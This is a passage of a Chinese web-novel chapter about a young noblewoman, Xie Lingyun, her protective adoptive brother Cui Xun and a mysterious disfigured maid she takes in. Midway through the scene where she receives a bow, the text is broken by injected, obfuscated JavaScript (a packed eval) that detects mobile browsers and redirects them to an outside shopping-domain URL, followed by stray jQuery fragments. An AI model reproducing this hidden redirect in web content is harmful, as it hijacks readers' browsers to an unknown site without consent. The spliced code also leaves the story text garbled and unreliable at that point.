“你右眼、右眼怎么了?”慕星野看见小灵筠右眼角下方三道抓痕。
崔循紧盯小灵筠右眼处的伤痕,脸上闪过一丝不愉,抿了抿唇。
收了风筝线的摘星一时嘴快,道:“敏怀公子为谢大娘子出气,打伤了我们女公子。”
慕星野气呼呼道:“又是那个谢敏怀。谢二娘子,但凭你一句吩咐,谢敏怀哪只手打的你,我将他那贱手剁了给你赔罪。”
小灵筠与摘星俱笑出了声。
崔循从袖中掏出小锦盒递与小灵筠。
“此盒中有一朵颜心花,直接服下,眼角的伤便能好。”
小灵筠知道颜心花难得,婉言谢绝崔循的好意。
崔循作势要将那装了颜心花的小锦盒投入湖中,“你不要,我留着也无用,那就扔了吧。”
小灵筠这才收下,向崔循拜谢。
“我要亲眼看你吃下。”崔循道。
小灵筠照做。
若不是她与崔循相处了这么久,依崔循方才那咄咄逼人的气势,她定要以为他在颜心花里下了毒。
崔循见小灵筠咽下颜心花,转身去昭明堂向周娥媖请安。
慕星野跟上崔循,“你怎么那么着急?你把颜心花给了谢二娘子,你自己吃什么?”
崔循:“我虽不看重女子的容貌,但世人浅薄,尤其是世间男儿多以貌取人。她是个笨拙的小娘子,容貌再有毁伤,可就一无是处了。”
“她笨拙?”慕星野一脸不可置信,“她谢灵筠要是个笨拙的小娘子,那全天下可没有聪明的小娘子了。她只是在她兄长的事情上看不开,别忘了,我们攻城用的改良鲁班梯就是她画的图纸。她就是太善了,但凡她有一点害人的心思,都不至于被人欺负成这样。”
慕星野一怔,想到了从前的崔循。
崔循的母亲和妹妹在世时,他并不是这样心狠手辣的人,他与太子周澈一般是个白衣出尘的端方君子。
可惜这世道容不下从前的崔循,你不欺人,人必欺你,上位者都是踩着尸山血海坐高台的。
“谢大娘子似乎想嫁入东宫,不如称了谢大娘子的意。”崔循将自己的私印抛给慕星野,“你去趟白玉京,将这事定下来。”
慕星野不解,“她这样心思不纯的小娘子,你帮她做甚?将来她成了太子妃,更要作践谢二娘子了。”
“东宫女眷品阶有嫔、良媛、良娣、承徵、昭训、奉仪,不拘谢大娘子得哪一个位分。”崔循道。
慕星野懂了崔循要羞辱谢神爱的用意。
*
小灵筠近日忙完每日课业后,就骑马去乡郊田野教导农人精耕之术。
“女侯之前教我们如何提前催熟稻谷,正值荒年,粮食紧俏,我们从来没有卖过像今年这么高价的稻谷。交完了税赋,今年清河的农人都能过个好年了。”站在自耕田上边的农人阿三道。
其余农人拿着糕饼瓜果聚过来酬谢小灵筠。
摘星、指月指挥护卫们收好乡亲们的心意。
小灵筠与农人们谈论今年的收成,忽听得一声凄厉的“救命”。
众人循声望去,村庄上的大傻子二牛正追赶一个衣衫褴褛、披头散发的女郎。
二牛流着口水哈哈大笑。
那女郎边哭边跑,不慎被石头绊住,跌倒在地。
花大娘赶紧去轰走二牛,扶起那可怜的女郎。
那女郎忽飞出一把匕首朝小灵筠而来,小灵筠闪身一躲。
摘星惊呼道:“有蛇!”
护卫上前将小灵筠脚边扭动的毒蛇砍成几段。
小灵筠方明白过来那女郎是想救她。
女郎近前,朝小灵筠伏地叩首。
“小女子前日死了兄长,在这世上无依无靠,恳请贵人收留。”
风吹起女郎挡在脸前的乱发,她大半张脸都烂掉了,很是恐怖。
“你的脸怎么伤成这样?”小灵筠问道。
女郎哽咽道:“兄长临死前怕小女子遭贼人惦记,用匕首划烂了小女子的脸,以求小女子能苟活一日是一日。”
摘星不忍,“女公子,咱们把她带回长公主府吧。”
指月却提醒道:“女公子,这位女郎可怜归可怜,但长公主府不收留来路不明的奴婢,咱们给她几个钱算了。”
女郎从怀中掏出身籍纸给小灵筠看。
“女公子,婢子身家清白,只求女公子赏口饭吃。”
小灵筠看过身籍纸后,将身籍纸传给指月、摘星看过。
“小琴。”小灵筠唤女郎的名字,“你以后就跟着摘星做活。”
小琴朝小灵筠磕头致谢。
指月将身籍纸还给小琴,注意到小琴的手上虽有污泥,但她十指纤纤显然是不常干粗活的人,问道:“你从前是干什么的?”
“婢子与兄长同是大户人家的仆人,婢子贴身服侍原来主人家的小姐,为小姐铺床叠被、斟茶倒水、梳洗更衣。”小琴怯怯回道。
指月不再问小琴了,倒是摘星一路上叽里呱啦和小琴说个不停。
*
盛京姜氏被抄家灭族后,崔循选了崔氏族人中一房姓姜的家仆去往盛京承继姜氏家业。
自此,衣冠十姓中的盛京姜氏成了清河崔氏的附庸,姜氏仅存的十五万贪狼军也由崔循调遣。
华族中人非议此事,都怕自家落得姜氏满门凄惨的下场。
朝堂上华族出身的官员争先恐后向靖帝奏请复崔循宰相之位,以求巴结崔循。
酷暑难耐,小灵筠身着雪衣纱裙坐在冰鉴旁临帖,戴着面纱的小琴跪坐在小灵筠后方为她打扇。
珠帘响动——
崔循入书室给小灵筠带来一个好消息,她通过了武神殿的考试,可以去武神殿学兵家之术。
“谢二娘子,你的成绩是甲等,实在令我佩服。”慕星野抱着一个西瓜,“自我大靖建国以来,武神殿只出过三名甲等成绩的学生,分别是佛莲将军沈梵、忠武侯章衍之和你。”
“你在文心阁的入学考试成绩也是甲等,你真的下定决心要去武神殿吗?”崔循瞥了一眼小灵筠身后的小琴。
小琴打扇的手腕一颤,而后复原如初。
“文心阁出士,武神殿出将。”小灵筠望向崔循,“兄长指点江山,我学成后为兄长大杀八方。”
崔循勾起唇角,冷峭俊美的脸上浮现温柔的笑意。
“你已有佩剑‘般若’,我赠你一张天下名弓。”
慕星野将西瓜捧给摘星去切,从自己身后取下一张玉骨弯弓,弓弦是用最好的羿丝制的。
小灵筠看到弯弓,美目放光,接过后爱若珍宝。
“刹那,这是我最想要的一张弓。只要轻易一拉弓弦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010184|147355||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,不过数息便能将箭射出百步之外,故名‘刹那’。”
慕星野垂涎这张‘刹那’弓已久,但见女孩稚气白嫩的小脸上露出的笑容灿若明月,不由心醉。
“谢二娘子,都说女大十八变,你还没到十八岁,怎么越长越水灵了,这风采比原来那名盛天下的第一美人姜姒都不差的。”慕星野说起浪言浪语来。
“啪——”
小灵筠身后的小琴跌了手中的团扇,连忙伏身向小灵筠告罪。
小灵筠温声道:“你为我打扇有半个时辰了,手也酸了,退下去歇息吧。”
小琴退出书室。
摘星端来切好的西瓜给小灵筠、崔循、慕星野三人分食。
小灵筠吃着甜甜汁水充足的无籽西瓜,“星野哥,你们云中城种不出这么好的西瓜来吧。”
慕星野:“阿韶游学至云中城,送了一车他们晋阳的西瓜给我。”
崔循更正道:“沈二娘子托付了一车西瓜给你,要你替她送给谢小二,结果你在路上一口渴就吃一个,最后只剩这一个西瓜了。”
小灵筠:“……”
慕星野顶道:“就我一个人吃了吗?我在路上每次打开一个西瓜,你吃一大半,我吃一小半,你还在这儿向谢二娘子告我的状,你知不知羞啊?”
崔循刀了慕星野一眼,慕星野知趣地闭嘴。
小灵筠:“……”
说起沈韶,小灵筠叹气道:“要是阿韶和我一起去武神殿修学就好了,我也能有一个伴。”
慕星野看了一眼崔循,“放心,你在武神殿肯定能遇到熟人。”
崔循三日前破天荒地接受了武神殿大宗师飞鸽传书给他的聘师帖。这是武神殿给他发聘师帖的第四个年头,他前三年分别以体弱、多病、没时间拒绝了武神殿的邀请,今年为了陪他的便宜妹妹读书,特意推了文心阁讲学的差事。
文心阁讲学,可以巩固崔循在华族的威望。
因为华族子弟有九成都在文心阁修学,而武神殿多是寒门草莽出身的学生。
华族可不屑与寒门草莽为伍。
“沈大娘子当年弃医从武,就是为了让沈二娘子能有选择不入武神殿修学。你去了武神殿,也能结识其他与你志趣相投的小娘子。”崔循安慰小灵筠道。
慕星野心想:谢二娘子,你兄长都给你把一切安排好了,你在武神殿的学伴都是你兄长精挑细选过的。
崔循又命婢女抬上一卷莞席,“你身下跪坐的这张莞席已经破败得不成样子,换上这一张新的。”
“依江陵风俗,在室女常日用的莞席需由她兄长或者舅舅亲手编制而成。我身下这张莞席虽破,却也是我那可恶的兄长赠我的。”小灵筠说道。
实际这张莞席,是谢神爱用旧了赠给她的,她别无他法只能收下,因为谢敏怀和靖帝都不可能给她亲手编制莞席,她平日又缺不得这样的玩意儿。
“阿循都快把《江陵风物志》翻烂了,为了研究你们江陵在室女用的莞席样式,阿循他编了又拆、拆了又编,编了不下百张莞席,才挑出这张满意的莞席赠给你。他自以为拿的出手,你要嫌弃,尽可不收。”慕星野见崔循总不将他对她的心意说出来,索性替他一口气说完,“我说小灵筠啊,谢敏怀那个王八蛋只占了与你一母所生的便宜,要论谁是全天下最好的兄长,那当然是我们阿循了。”